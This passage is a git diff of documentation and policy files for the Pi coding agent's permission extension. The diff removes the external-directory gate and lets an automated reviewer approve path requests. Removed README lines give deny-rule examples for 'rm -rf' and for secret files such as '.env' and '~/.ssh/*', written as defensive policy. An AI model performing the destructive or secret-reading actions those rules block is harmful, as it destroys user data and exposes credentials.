diff --git a/AGENTS.md b/AGENTS.md index 96093c5..cf3f0a2 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -28,7 +28,7 @@ - `extensions/plugin-init.ts`:注册用户显式触发的 `/plugin_init`,在确认当前项目后只初始化缺失的 CodeGraph/Hippo 状态,并在全部成功后调用 Pi 官方热重载。 - `context-mode`:加载上游 Pi adapter 与 skills,提供 `ctx_*` 工具、隔离式大输出处理和会话连续性。 - `extensions/hashline.ts`:部署组合包权威 `config/pi-hashline-edit.json` 后加载 `pi-hashline-edit`,以行哈希锚点覆盖内置 `read` / `edit`;Hashline 自带 `grep` 强制关闭。 -- `extensions/permission-system.ts`:直接加载仓库内 `pi-permission-system/src/index.ts`;只在目标缺失时把 `config/pi-permission-policy.jsonc` / `config/pi-permission-hard-guards.jsonc` 原子部署为 owner-only 用户配置,已有策略永不覆盖,旧全局 `config.json` 仅复制迁移为 `policy.jsonc`。 +- `extensions/permission-system.ts`:直接加载仓库内 `pi-permission-system/src/index.ts`;只在目标缺失时把 `config/pi-permission-policy.jsonc` / `config/pi-permission-hard-guards.jsonc` 原子部署为 owner-only 全局用户配置,旧全局 `config.json` 仅复制迁移为 `policy.jsonc`。项目级 policy 不读取;`update.sh` 只可在当前文件精确匹配已知旧默认种子时备份并迁移到新种子,自定义或无效文件必须保留。 - `extensions/lsp.ts`:把组合包内 TypeScript Language Server CLI 物化为绝对命令路径,部署 TypeScript/Kotlin/JDT LS 全局配置并加载 `pi-lsp`。 - `extensions/tool-routing.ts`:保留 Pi 默认系统提示词,在每轮开始前按激活工具追加简短路由规则,并提供 `/dump-system-prompt` 将扩展所见的有效提示词写入 `.pi-debug/effective-system-prompt.md`。 - `pi-chrome/`:从上游源码导入并由本仓库直接维护,通过用户安装的 unpacked MV3 扩展与 `127.0.0.1:17318` loopback bridge 接管当前已登录 Chrome;控制默认锁定,每个 Pi session 必须显式 `/chrome authorize`。 @@ -84,7 +84,7 @@ - Tool Search 默认常驻核心 `read` / `write` / `edit` / `bash` / `grep` / `find`、`codegraph_explore`、`lsp_diagnostics`、`ctx_execute` / `ctx_execute_file` / `ctx_batch_execute` 与 `tool_search`;Windows 上内置 `powershell` 必须与 `bash` 同属固定本地 Shell 核心工具,非 Windows 平台必须从目录中过滤。首次创建完整默认 `toolSearch` 段时必须通过唯一同目录临时文件以权限 `600` 原子写入并记录 `bundleDefaultsVersion: 2`,已有自定义段只补缺失运行时字段且不得伪造迁移来源标记。其余组合包工具必须优先使用 `pi-tool-search/extensions/bundle-groups.ts` 中提交的权威工作流分组;精确已有分组必须直接激活,不得等待无关未知工具的模型增强。默认最多 5 个动态组、模型组最多 8 个工具、动态工具总数最多 28;`groups` 可原子激活最多 5 个精确组,完整请求超限时不得改变当前状态;加载或组内调用更新 LRU,超限先移除最久未用的非请求组。自然语言查询必须优先精确工具名和已提交 workflow alias,弱匹配或近似同分只能返回候选,不得任意激活;`/tool-search-status` 必须显示当前容量、LRU 顺序与最近淘汰原因。 - `pi-chrome` 在未授权时不注册 Chrome 工具;显式授权后出现的 21 个 `chrome_*` 工具必须由 Tool Search 分入 `chrome-navigation`、`chrome-interaction`、`chrome-debugging`,不得落入 unknown-tools 模型增强路径。授权撤销或过期时必须停用全部 21 个工具,包括 `chrome_find` / `chrome_inspect`;Tool Search 重新激活 schema 不能替代每次执行时的授权校验。 - 标准组合包工具全部命中预置目录时 Tool Search 不得调用模型、创建用户缓存或发送隐藏 schema。只有存在未识别第三方工具时才允许惰性模型增强;生成结果必须保留全部预置 assignment,模型元数据不得替代真实名称、参数或 schema。缓存必须位于 agent 目录且权限 `600`;模型失败必须继续使用预置目录 + 确定性未知工具分组。`groupOverrides` 优先级高于预置分组。 -- Tool Search 必须直接使用当前 `@earendil-works/pi-coding-agent`、`typebox`、`ModelRegistry.complete()` 和 `setActiveTools()`;首次纯增加载使用当前 Pi 的增量结果传播,LRU 替换允许走宿主安全 fallback。不得安装或映射旧 `@mariozechner` runtime,不得恢复 provider payload 改写、代理分发或隐藏 `sendMessage` steer/retry 兼容循环。 +- Tool Search 必须直接使用当前 `@earendil-works/pi-coding-agent`、`typebox`、`ModelRegistry.complete()` 和 `setActiveTools()`;首次纯增加载使用当前 Pi 的增量结果传播,LRU 替换允许走宿主安全 fallback。不得安装或映射旧 `@mariozechner` runtime,不得恢复 provider payload 改写、代理分发或隐藏 `sendMessage` steer/retry 兼容循环。Tool Search 是唯一可调用 `getActiveTools()` / `setActiveTools()` 管理工具显隐的组合包扩展;`pi-permission-system` 只能在调用时裁决,不能读写 active tool 列表。 - `.pi-debug/` 是 `/dump-system-prompt` 生成的本地诊断目录,不提交到仓库,也不作为组合包运行时配置源。 - CodeGraph MCP 扩展只配置 Pi 到外部 `codegraph` 命令的连接。根包安装本身不安装 CodeGraph;便捷脚本仅在组合包安装完成且用户明确选择 `Y` 后调用官方安装器。安装、升级和普通启动流程不得执行 `codegraph init`;只有用户在目标项目显式调用 `/plugin_init` 并确认后,命令才可以 `.codegraph/codegraph.db` 与 `.hippo/hippo.db` 为权威标志初始化缺失状态。命令必须先预检两个 CLI,任一步失败不得热重载,也不得隐瞒此前已完成的部分初始化;不得改动 CodeGraph 更新或遥测设置。 - CodeGraph MCP 使用 `keep-alive` 并只直接暴露 `codegraph_explore`;命令缺失、项目未初始化或连接失败时不得阻止其他扩展加载。 @@ -99,12 +99,12 @@ - Codex fast mode 只为符合条件的 `openai-codex-responses` 请求设置 priority service tier。`/fast-mode on|off` 同时更新当前分支记录与 Pi agent 目录中的 owner-only 全局默认值;新会话继承全局值,已有分支记录优先,配置缺失或无效时回退为关闭。 - Kitty 完成通知只在 TUI 模式的 `agent_settled` 后发送;自动重试、自动 compaction 和 follow-up 期间不得提前通知或重置总耗时。权限通知只订阅 `permissions:ui_prompt`,在人类确认界面即将出现时立即发送,不得为策略或 AutoReview 已直接决定的请求通知,也不受完成通知时长门槛影响。默认 `o=always`、`a=focus`,每个 Pi Session 使用独立稳定 ID,标题和正文必须 Base64 编码。 - `/notify on|off` 只覆盖当前 Session;持久默认来自 `PI_NOTIFY_*` 环境变量。`PI_NOTIFY_MESSAGE_SOURCE=none` 必须继续提供不泄露回复正文、权限值或请求者细节的隐私模式,非 TUI 模式不得写入 OSC 序列。 -- 权限策略默认允许常规工具,允许 FFF 工具;拒绝 Bash 直搜,硬防御默认只保留确定性的破坏性 Shell 命令;Git 非只读操作、包管理、外部目录、文件/系统/网络高风险操作与普通 MCP 调用先由 `pi-permission-system` 判为 `ask`。 -- SSH 权限沿用同一条 `pi-permission-system` gate 与 `auto-review` authorizer chain:`ssh_connect`、`ssh_cd`、`ssh_read`、`ssh_write`、`ssh_edit`、`ssh_find`、`ssh_grep` 默认 `ask`;连接前的证据解析已导入 host ID 为非秘密 target、port 与请求/default cwd,AutoReview 只可依据用户直接消息中的明确目标授权连接。`ssh_bash` 通过 `shellTools` 映射到完整 Bash 策略并设置 `decisionFloor: "ask"`,把普通 Bash `allow` 提升为复核请求,同时保留原有 `ask` 与硬 `deny`。全部远端路径不得送入基于本机 cwd 的 `path` / `external_directory` 归一化。 +- 权限策略默认允许常规工具,允许 FFF 工具;拒绝 Bash 直搜,硬防御默认只保留确定性的破坏性 Shell 命令;Git 非只读操作、包管理、文件/系统/网络高风险操作与普通 MCP 调用按唯一全局 policy 判定。项目外路径不再产生独立 `external_directory` 判断,只走配置中的工具、`path` 与 Bash pattern。 +- SSH 权限沿用同一条 `pi-permission-system` gate 与 `auto-review` authorizer chain:`ssh_connect`、`ssh_cd`、`ssh_read`、`ssh_write`、`ssh_edit`、`ssh_find`、`ssh_grep` 默认 `ask`;连接前的证据解析已导入 host ID 为非秘密 target、port 与请求/default cwd,AutoReview 只可依据用户直接消息中的明确目标授权连接。`ssh_bash` 通过 `shellTools` 映射到完整 Bash 策略并设置 `decisionFloor: "ask"`,把普通 Bash `allow` 提升为复核请求,同时保留原有 `ask` 与硬 `deny`。全部远端路径不得送入基于本机 cwd 的默认 `input.path` 归一化。 - `auto-review` 是 `pi-permission-system` 内置 authorizer,不是独立扩展或第二个 `tool_call` gate;只复核普通策略产生的 `ask`,不会重复处理普通策略已 `allow` / `deny` 或硬防御已 `deny` 的请求。 -- reviewer 返回 `allow` 时自动批准、返回 `deny` 时直接拒绝,配置、模型、认证、超时或响应异常时必须 `defer` 到正常人工提示。delegation envelope 继续禁止 authorizer 自动批准全部 `path` 请求;`external_directory` 对内置只读路径工具(`read`、`find`、`grep`、`ls`)接受 reviewer 的 `allow`,写入、编辑、Bash、未知工具和其他外部访问仍转人工。 +- reviewer 返回 `allow` 时自动批准(包括 `path`),返回 `deny` 时直接拒绝;配置、模型、认证、超时或响应异常时必须 `defer` 到正常人工提示。不得在 authorizer chain 外增加第二层内置授权范围限制。 - 默认 reviewer 为 `openai-codex/codex-auto-review`、low reasoning、90 秒总重试预算和内置 Codex Guardian 风格策略;只把 active branch 中的直接用户消息与已识别、未取消的结构化问答作为授权证据,assistant/tool/compaction 内容不能自行授权。 -- `config/pi-permission-policy.jsonc` 必须显式配置 `authorizerChain: ["auto-review"]`,普通未匹配请求和需要自动复核的 Git 非只读、包管理等类别声明为 `ask`;`config/pi-permission-hard-guards.jsonc` 独立保存可由用户调整但不能被项目策略、Session grant 或 reviewer 覆盖的高危 `deny`。 +- `config/pi-permission-policy.jsonc` 必须显式配置 `authorizerChain: ["auto-review"]`,普通未匹配请求和需要自动复核的 Git 非只读、包管理等类别声明为 `ask`;普通 pattern 必须按具体度优先(精确匹配、字面字符更多、通配符更少、pattern 更长,最后才以声明顺序破同级);`config/pi-permission-hard-guards.jsonc` 独立保存可由用户调整但不能被普通策略、Session grant、per-agent 规则或 reviewer 覆盖的高危 `deny`。 - AutoReview 只对完成的 `allow` / `deny` 计数,`defer` 不计;达到 500 次后持久化 pending,并只在 `agent_settled` 拉起无工具、无扩展、无项目上下文的隔离后台 AgentSession。建议必须经过 schema 与确定性安全过滤、以 same-session follow-up 交给主 Agent,并在用户明确确认前禁止自动修改任一策略文件;shutdown 时保留 pending 供下一 Session 继续。 - `pi-lsp` 的 TypeScript/JavaScript 后端由根包固定依赖提供,`extensions/lsp.ts` 使用当前 Node 可执行文件直接启动包内 `typescript-language-server` CLI,不得依赖或调用 VS Code GUI;Kotlin/JDT LS 仍使用组合包部署的 `kotlin-lsp --stdio` 与 `jdtls` 配置,根包不安装这两个系统可执行文件,便捷脚本可在用户逐项明确确认后通过 Homebrew 安装 Kotlin LSP、Java 21 和 JDT LS。 - 终端环境配置只属于便捷脚本:Kitty 可选安装后可通过官方 kitten 启用 Solarized Dark;Oh My Zsh 使用不切换 shell 的 unattended 安装;Powerlevel10k 将仓库内置的 `config/p10k.zsh`(Rainbow/ASCII 单行紧凑主题)部署到 `~/.config/my-pi/p10k.zsh`(遵循 `XDG_CONFIG_HOME`),不得覆盖用户自己的 `~/.p10k.zsh`。`.zshrc` 中脚本拥有的内容必须使用 `# >>> my-pi: >>>` / `# <<< my-pi: <<<` 受管块,更新时只替换块内内容;标记不完整或重复时拒绝修改。实际修改前必须创建带时间戳的备份。`git`、`zsh-autosuggestions`、`zsh-syntax-highlighting` 在安装流程中逐项询问后才安装或启用。 @@ -158,11 +158,11 @@ - 扩展入口是 `pi-permission-system/src/index.ts`,公共跨扩展服务入口是 `pi-permission-system/src/service.ts`,测试保留在该目录的 `test/`。 - 同步上游必须从明确 tag/commit 移植并记录快照;保留上游 `LICENSE`、作者和来源,不导入 `dist/`、嵌套 `.git` 或上游包目录的 `.pi` 本地状态。 -- 本地 delegation envelope 允许内置只读路径工具(`read`、`find`、`grep`、`ls`)对 `external_directory` 接受 authorizer 的 `allow`;`write`、`edit`、Bash、未知工具、未确定 surface 以及全部 `path` ask 必须继续 `defer` 到终端人工 authority。 -- 修改 gate、authorizer chain、delegation envelope、子代理转发或公共 service 类型时,必须同步更新包内 README/架构文档和对应测试。 +- 配置在 `authorizerChain` 中显式命名的 authorizer 可对任一普通策略 `ask`(包括 `path`)返回最终 `allow` / `deny`;`defer` 才继续下一个 authorizer 或终端人工 authority。 +- 修改 gate、authorizer chain、子代理转发或公共 service 类型时,必须同步更新包内 README/架构文档和对应测试。 - 根包必须通过 `file:./pi-permission-system` 提供运行时依赖,包装入口必须直接加载仓库源码;不得同时加载 npm 预编译入口或第二个 permission-system 实例。 - 内置 AutoReview 实现位于 `pi-permission-system/src/auto-review/`;同步原 AutoReview 上游时必须从源码仓库明确 tag/commit 移植,保留 `LICENSES/pi-permission-auto-review-MIT.txt`、作者和 `docs/auto-review/UPSTREAM.md`,不得恢复顶层独立扩展、npm 预编译入口或平行 gate。 -- reviewer 只能处理普通策略已判定为 `ask` 且未被 hard guard 拒绝的请求;不得绕过硬 `deny`,不得扩大 delegation envelope。 +- reviewer 只能处理普通策略已判定为 `ask` 且未被 hard guard 拒绝的请求;不得绕过硬 `deny`。 - `HardGuardPolicyLoader` 必须保持 global-only、无 SessionRules、无项目覆盖;用户文件和 bundled fallback 都不可用时 fail closed 到 deny-all,并报告配置问题。普通 policy 与 hard guard 配置不得合并成一份文件。 - 500 次分析必须以完成 verdict sequence 为计数口径;`defer` 不写计数。ledger/proposal/state 保持 owner-only、原子状态写入、脱敏且不保存 rationale/transcript/raw payload。后台 Agent 必须 tool-free/context-free,Provider 请求不得等待它,只有 `agent_settled` 可启动;失败或 shutdown 不得误推进 checkpoint。 - 修改 reviewer 策略、可信证据边界、配置结构、hard-guard precedence、ledger、后台分析、模型解析或 authorizer/lifecycle 注册时,必须同步更新 README、配置文档、架构文档、schema 和相应测试。 @@ -204,7 +204,7 @@ - 子会话必须在 `bindExtensions()` 前注册到 `pi-permission-system` 的 process-global child registry,并在真实 dispose 时清理;resume、并发和嵌套 Agent 必须维持正确 parent/child session identity。 - `extensions/subagents.ts` 是当前禁用但保留的组合包 wrapper:若以后经明确决定恢复加载,它只能把组合包内权威 `extensions/permission-system.ts` 的 canonical absolute path 作为 mandatory extension 注入。Agent frontmatter 的 `extensions: false`、`isolated` 和 `exclude_extensions` 均不得移除该 lifecycle;路径缺失、被同名其他路径冒充或 reload 后未精确命中必须在创建 AgentSession 前 fail-closed。 - mandatory extension 只强制绑定 handlers,不自动开放它注册的工具;工具可见性仍由 Agent 的正常 extensions/tools 策略决定。mandatory 列表不得从 Agent Markdown 或项目配置读取。 -- `ask` 只能由 auto-review 在 delegation envelope 内明确 `allow` 时自动批准;reviewer `defer`、异常或不在 envelope 内必须转发父会话人工 authority,不得因子会话无 UI 静默放宽。父模型生成的子 Agent prompt 不得伪装成人类直接授权证据。 +- `ask` 可由 auto-review 明确 `allow` 时自动批准,包括路径请求;reviewer `defer` 或异常必须转发父会话人工 authority,不得因子会话无 UI 静默放宽。父模型生成的子 Agent prompt 不得伪装成人类直接授权证据。 - 子 Agent 转发的 access facts 必须先由根 authority 的 `SessionRules` 匹配;父会话 whole-session grant 可覆盖语义一致的后代操作,普通单次批准不得复制为可重复消费的子 Agent grant。auto-review 必须运行在根会话并只使用根 transcript 的可信用户证据。 - 修改 Agent lifecycle、权限桥接、tool/extension scope、resume、nested agents 或 session persistence 时,必须同步包内 README、CHANGELOG、测试,并运行 `npm run lint`、`npm run typecheck`、`npm run test` 和 `npm run build`。 ## `pi-notify` 开发约定 @@ -235,10 +235,10 @@ - 已导入主机必须固定 SHA256 Host Key;不匹配时 fail closed。私钥认证只保存文件路径,Agent 认证只保存 socket 路径,均不得复制或导出私钥内容;文件工具使用 SFTP,写入优先临时文件与原子 rename,远端断线不得自动重放命令。 - `ssh_connect` 是唯一运行时连接入口,只接受 vault 中已导入的 host ID 与可选绝对/`~/` remote cwd,并必须默认 `ask` 后进入 AutoReview;它必须声明 `sequential` execution mode 且支持取消,Agent 必须作为独立步骤调用并等待成功后才能发出依赖连接的其他 `ssh_*` 调用,避免连接建立或替换与远端操作重叠。未知 host ID 只可有界列出已导入 ID,不得泄露 endpoint 或凭据。不得注册 `/ssh`、`--ssh`、session resume 自动重连或把用户 `!` 命令切换到远端。用户未在直接请求中明确服务器和具体远端任务时不得推断、替换或连接主机;新连接替换旧连接,会话结束自动断开。 - `ssh_find` / `ssh_grep` 必须在已授权工具调用内部按 `fd/fdfind → git ls-files → find` 与 `rg → git grep → find+grep` 顺序检测服务器现有能力,不安装或上传远端二进制;搜索目标必须作为绝对参数与执行 cwd 分离,搜索进程始终从当前已确认 `remoteCwd` 启动,单文件 `ssh_grep` 目标不得被当作目录执行 `cd`。输入必须 shell-safe,结果数量/单行/总捕获必须有界并显式报告 backend 与 truncated;30 秒超时必须报告解析后的 root 并提示先缩小范围。RTK 不得处理这两个搜索工具的结果。 -- `ssh_cd`、`ssh_read`、`ssh_write`、`ssh_edit`、`ssh_find`、`ssh_grep` 的远端路径不能按本机路径执行 `path` / `external_directory` gate;必须通过公共 `PermissionsService` 注册显式 extractor 关闭默认 `input.path` 推断,并保持六个工具的默认策略为 `ask`。权限预览必须依据远端 `remoteCwd` / `remoteHome` 解析相对路径与 `~/`,同时显示请求值和解析后的绝对远端路径。 +- `ssh_cd`、`ssh_read`、`ssh_write`、`ssh_edit`、`ssh_find`、`ssh_grep` 的远端路径不能按本机路径执行默认 `input.path` gate;必须通过公共 `PermissionsService` 注册显式 extractor 关闭本机路径推断,并保持六个工具的默认策略为 `ask`。权限预览必须依据远端 `remoteCwd` / `remoteHome` 解析相对路径与 `~/`,同时显示请求值和解析后的绝对远端路径。 - SSH transport 在会话中持久,但不得维护隐藏的交互式 Shell/PTY 状态;`ssh_bash` 每次调用必须从连接当前 `remoteCwd` 启动独立的非交互 Bash,必须忽略 Pi 本地 Bash factory 的 cwd 与 `PI_*` 会话环境。跨调用的工作区切换只能通过受复核且声明 `sequential` execution mode 的 `ssh_cd` 显式验证并更新连接状态;Agent 必须把它作为独立步骤调用并等待成功后,才可发出依赖新目录的远端工具调用。普通命令中的 `cd` 只可作为当次命令的临时目录变化,`cd`、`export`、alias 或函数不得被伪装为持久状态。 - 远端 HOME/cwd 探测与 `ssh_cd` 验证必须使用可取消、输出有界、随机标记 framing 的固定命令,只接受唯一绝对 POSIX 路径;banner、畸形/多行输出、超限、超时或取消时不得更新状态。独立 exec channel 最多并发 4 路,排队调用必须可立即取消;共享 SFTP 操作继续串行。 -- `ssh_bash` 必须在权威权限配置的 `shellTools` 中映射 `commandArgument: "command"` 并设置 `decisionFloor: "ask"`,复用 Bash 命令拆分、硬拒绝、风险 `ask` 和 authorizer chain;全局 floor 必须在项目配置字段级合并时保留,不得新增第二个并行 `tool_call` 审批层。 +- `ssh_bash` 必须在唯一全局 policy 的 `shellTools` 中映射 `commandArgument: "command"` 并设置 `decisionFloor: "ask"`,复用 Bash 命令拆分、硬拒绝、风险 `ask` 和 authorizer chain;不得新增第二个并行 `tool_call` 审批层。 - RTK 只把 `ssh_bash` 当作 Bash 输出别名执行 ANSI 清理、测试/构建/Git/Lint 聚合与兜底截断;不得对远端命令启用 RTK rewrite,也不得处理 `ssh_read`、`ssh_find` 或 `ssh_grep` 返回。 - SSH 工具的权限预览必须包含连接请求或当前远端的 host id、target、port、remote cwd 与有界操作摘要;连接预览只解密本地 vault 以提取非秘密目标字段,绝不包含凭据,远端 shell 的完整命令继续由 Bash payload 单独提供。权限服务缺失或注册失败时必须 fail-safe,不得转为无提示自动允许。 - `pi-ssh` 只用于从本地项目显式操作服务器,不得自动探测、读取或向系统提示词注入远端 `AGENTS.md`、`CLAUDE.md` 或其他项目说明;远端内容只能由明确且已授权的 `ssh_*` 工具调用获取。 @@ -273,7 +273,7 @@ Hippo 脚本变化必须额外用隔离 HOME/PATH 和 mock `pi`、`npm`、`hippo` 验证:安装缺失 CLI 但不调用 `hippo init`、相同版本不升级、不同版本精确升级、未知来源 CLI 不替换、卸载默认保留、明确确认后只卸载 npm 全局包且保留数据。不得在测试中执行真实全局 npm 写入或修改真实 `.hippo/`。 -在 `pi-permission-system/` 内至少运行 `npm run typecheck`、`npm run test` 和 `npm run build`。涉及内置 AutoReview、硬防御或后台分析时,还要验证 authorizer `allow` / `deny` / `defer`、delegation envelope、hard-guard precedence、500 次 checkpoint、owner-only 持久化、shutdown resume 与 same-session follow-up。 +在 `pi-permission-system/` 内至少运行 `npm run typecheck`、`npm run test` 和 `npm run build`。涉及内置 AutoReview、硬防御或后台分析时,还要验证 authorizer 对普通工具与 `path` 的 `allow` / `deny` / `defer`、hard-guard precedence、500 次 checkpoint、owner-only 持久化、shutdown resume 与 same-session follow-up。 在 `pi-notify/` 内至少运行 `npm run typecheck`、`npm run test` 和 `npm pack --dry-run --json`;涉及加载入口或 lifecycle 时还要运行根扩展联合加载测试和实际 packed tarball 的隔离安装验证。 diff --git a/README.md b/README.md index 2632027..232c0a3 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ - 本仓库维护的 `pi-ask-user`:提供模型主动调用的 `ask_user_question`;TUI 中保留单题、多题、选择、文本、自定义回答与提交前复核,Paseo 等兼容 RPC 客户端通过标准 Pi extension UI 逐题交互。 - 本仓库维护的 `pi-tool-search`:从完整工具定义生成并缓存经过校验的工作流分组,默认以最多 5 个动态组、28 个动态工具的 LRU 策略加载原始完整 schema,并支持原子批量激活。 - 本仓库维护的 `pi-chrome`:从上游 `0.15.46` 源码导入,通过显式会话授权接入用户当前已登录的 Chrome Profile;大体积页面快照写入 Session 临时文件并交给 Context Mode 隔离分析,21 个 `chrome_*` 工具仍由 Tool Search 按工作流加载。 -- 本仓库维护的 `pi-permission-system`:从 `@gotgenes/pi-permission-system@26.2.1` 源码导入并整合原 AutoReview,实现独立 JSONC 硬防御、普通策略、Codex Guardian 风格自动复核、人工 `defer` 兜底,以及每 500 次自动裁决后的同会话后台规则分析。 +- 本仓库维护的 `pi-permission-system`:只读取一份全局普通策略与一份独立 Hard Guards,按 pattern 具体度裁决 allow/ask/deny,并整合 Codex Guardian 风格 AutoReview、人工 `defer` 兜底和每 500 次完成裁决后的同会话后台规则分析;工具显隐仍只由 Tool Search 管理。 - 本仓库保留维护的 `pi-subagents` 源码及权限集成实现,但当前已从根组合包依赖和默认扩展加载列表中移除,不会随核心包启用。 - 本仓库维护的 `pi-ssh`:通过纯 Node `ssh2` 持久连接、显式 `ssh_cd` 远端工作区切换、SFTP 与自适应有界搜索提供独立的远端工具;Agent 只在用户明确指定已导入主机及具体任务后发起受 AutoReview 复核的连接。 - `extensions/tool-routing.ts`:保留 Pi 默认系统提示词,并按当前激活工具追加简短的工具与搜索路由规则;提供 `/dump-system-prompt` 导出当前有效提示词。 @@ -273,14 +273,18 @@ codegraph status `pi-permission-system/` 从上游 `pi-permission-system-v26.2.1` tag 导入,初始源码快照为 `ec4fdb11343dc94f7185b113e559a4cf9f8dc035`。原 `pi-permission-auto-review` 的 reviewer、可信证据边界和 Codex Guardian 风格策略已整合进同一个扩展;其 MIT 许可和来源记录保留在 `pi-permission-system/LICENSES/` 与 `docs/auto-review/`。根组合包不再加载第二个 AutoReview 扩展。 -`extensions/permission-system.ts` 只在文件缺失时,以 `0600` 原子创建两份用户可编辑 JSONC: +`extensions/permission-system.ts` 只在目标缺失时,以 `0600` 原子创建两份用户可编辑 JSONC: -- `~/.pi/agent/extensions/pi-permission-system/policy.jsonc`:普通 allow/ask/deny 策略、运行参数、AutoReview 与 500 次分析参数;项目可在 `.pi/extensions/pi-permission-system/policy.jsonc` 覆盖普通策略。 -- `~/.pi/agent/extensions/pi-permission-system/hard-guards.jsonc`:仅全局生效的硬防御。硬 `deny` 先于项目策略、Session grant 和 AutoReview,不能被后续层放宽;`allow` 只用于同一硬防御文件中的例外。 +- `~/.pi/agent/extensions/pi-permission-system/policy.jsonc`:唯一的全局普通 allow/ask/deny 策略,同时保存运行参数、AutoReview 与 500 次分析参数。项目级 `.pi/extensions/pi-permission-system/policy.jsonc` 不再读取。 +- `~/.pi/agent/extensions/pi-permission-system/hard-guards.jsonc`:仅全局生效的硬防御。硬 `deny` 先于 Session grant、per-agent 规则和 AutoReview,不能被后续层放宽。 -安装后的用户修改不会被下次加载覆盖。若新版首次加载时只有旧 `config.json`,包装入口会把它复制成 `policy.jsonc` 并保留原文件。组合包中的 `config/pi-permission-policy.jsonc` 和 `config/pi-permission-hard-guards.jsonc` 只是新安装种子。 +普通 pattern 不再按“最后一条命中”覆盖,而按具体度选择:精确匹配优先,其次字面字符更多、通配符更少、pattern 更长,只有完全同级时才以后声明者为准。因此具体 deny 会稳定压过宽泛的 `"*": "allow"`。 -默认普通策略对未匹配请求返回 `ask`,并通过 `authorizerChain: ["auto-review"]` 先交给内置 reviewer。确定性的高危硬拒绝由 hard guards 直接终止;AutoReview `allow` / `deny` 结束当前审批;模型、配置、认证、超时或输出异常统一 `defer` 到原有人工界面。reviewer 只读取 active branch 中直接用户消息和已识别、未取消的结构化回答。 +系统不再产生 `external_directory` 判断:项目外路径与项目内路径一样,只走用户配置的工具、`path` 和 Bash 规则。Tool Search 是唯一的工具显隐/激活控制者;权限系统只在工具被调用时做裁决。 + +首次安装仍只部署缺失文件。`update.sh` 会额外检查当前全局 `policy.jsonc`:仅当其语义内容精确匹配已知旧默认种子时,先创建 `0600` 时间戳备份,再原子替换为升级后组合包的新种子;当前值、自定义值和无效 JSONC 都不会被猜测覆盖。旧全局 `config.json` 仍只在目标缺失时复制迁移为 `policy.jsonc`。 + +默认普通策略对未匹配请求返回 `ask`,并通过 `authorizerChain: ["auto-review"]` 先交给内置 reviewer。高危 Hard Guard 直接终止;AutoReview 的 `allow` / `deny` 对任一普通策略 `ask`(包括 `path`)直接结束当前审批;模型、配置、认证、超时或输出异常统一 `defer` 到人工界面。 每个 AutoReview `allow` / `deny` 计为一次完成裁决,`defer` 不计数。记录仅保存有界、脱敏的 surface/pattern 指纹、风险与授权等级,不保存 rationale、原始工具参数或 transcript。累计 500 次新裁决后先持久化 pending;下一次 `agent_settled` 拉起无工具、无扩展、无项目上下文的隔离后台 AgentSession。经 schema 和确定性安全过滤后的建议通过 `followUp + triggerTurn` 回到当前对话,由主 Agent 直接向用户呈现。它不会自动修改任何策略文件;必须等用户明确选择并确认。会话在分析前结束时,pending 会在下一个 Session 继续。 diff --git a/config/pi-permission-policy.jsonc b/config/pi-permission-policy.jsonc index 8c9632d..1c7e0cd 100644 --- a/config/pi-permission-policy.jsonc +++ b/config/pi-permission-policy.jsonc @@ -53,9 +53,6 @@ "ssh_find": "ask", "ssh_grep": "ask", - "external_directory": { - "*": "ask" - }, "path": { "*": "allow", ".git/*": "ask" diff --git a/pi-permission-system/CHANGELOG.md b/pi-permission-system/CHANGELOG.md index aaa4b99..e940882 100644 --- a/pi-permission-system/CHANGELOG.md +++ b/pi-permission-system/CHANGELOG.md @@ -10,9 +10,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed - Integrate the former standalone AutoReview authorizer into the permission-system composition root; split user-editable ordinary policy and global-only hard guards into independent JSONC files; add sanitized 500-verdict checkpoints and isolated same-session background policy proposals without automatic rule edits. +- Simplify ordinary policy to one global `policy.jsonc`: stop loading project policy files, rank matching patterns by specificity instead of declaration order, remove the `external_directory` gate and delegation envelope, let configured authorizers approve any ordinary-policy ask including `path`, and leave all active-tool visibility changes exclusively to Tool Search. - Preserve a registered shell-alias input preview as authorizer evidence and permission review context, so wrappers such as `ssh_bash` can disclose their remote execution target while retaining full Bash policy enforcement. -- Add `shellTools..decisionFloor: "ask"`, which raises Bash allows to reviewable asks without weakening existing asks or hard denies, and preserve a global floor through field-level project config merging. +- Add `shellTools..decisionFloor: "ask"`, which raises Bash allows to reviewable asks without weakening existing asks or hard denies; the floor now comes only from the global policy. ## [26.2.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v26.2.0...pi-permission-system-v26.2.1) (2026-08-17) diff --git a/pi-permission-system/README.md b/pi-permission-system/README.md index dd26616..3296c4f 100644 --- a/pi-permission-system/README.md +++ b/pi-permission-system/README.md @@ -11,22 +11,17 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin > **Fork notice:** This package is a full fork of [MasuRii/pi-permission-system](https://github.com/MasuRii/pi-permission-system), published to npm as `@gotgenes/pi-permission-system`. > It has diverged substantially from upstream in config format, internal architecture, and permission model. > -> **my-pi maintenance note:** This directory was imported from upstream tag `pi-permission-system-v26.2.1` at commit `ec4fdb11343dc94f7185b113e559a4cf9f8dc035`. It is loaded from source and maintained directly by my-pi; npm `dist` output is not used. The local delegation envelope accepts an authorizer `allow` for built-in read-only path tools (`read`, `find`, `grep`, `ls`) accessing `external_directory`, while write, edit, bash, unknown tools, and all `path` asks still defer to human confirmation. +> **my-pi maintenance note:** This directory was imported from upstream tag `pi-permission-system-v26.2.1` at commit `ec4fdb11343dc94f7185b113e559a4cf9f8dc035`. It is loaded from source and maintained directly by my-pi; npm `dist` output is not used. my-pi uses one global ordinary policy and a separate non-overridable hard-guard file; explicitly configured authorizers may approve any ordinary-policy `ask`, including `path`. ## What It Does -- **Hides disallowed tools** before the agent starts — no wasted turns probing for blocked tools -- **Enforces allow / ask / deny** at tool-call time with UI confirmation dialogs -- **Reviews unmatched `ask` requests automatically** with an integrated Codex Guardian-style reviewer; only `defer` reaches the human fallback -- **Applies a separate hard-guard policy first** so project rules, session grants, and model review cannot override high-risk denies -- **Controls bash commands** with wildcard pattern matching (`git *: ask`, `rm -rf *: deny`) -- **Gates MCP and skill access** at server, tool, and skill-name granularity -- **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias -- **Guards external paths** — prompts before file tools or bash commands reach outside `cwd` -- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an 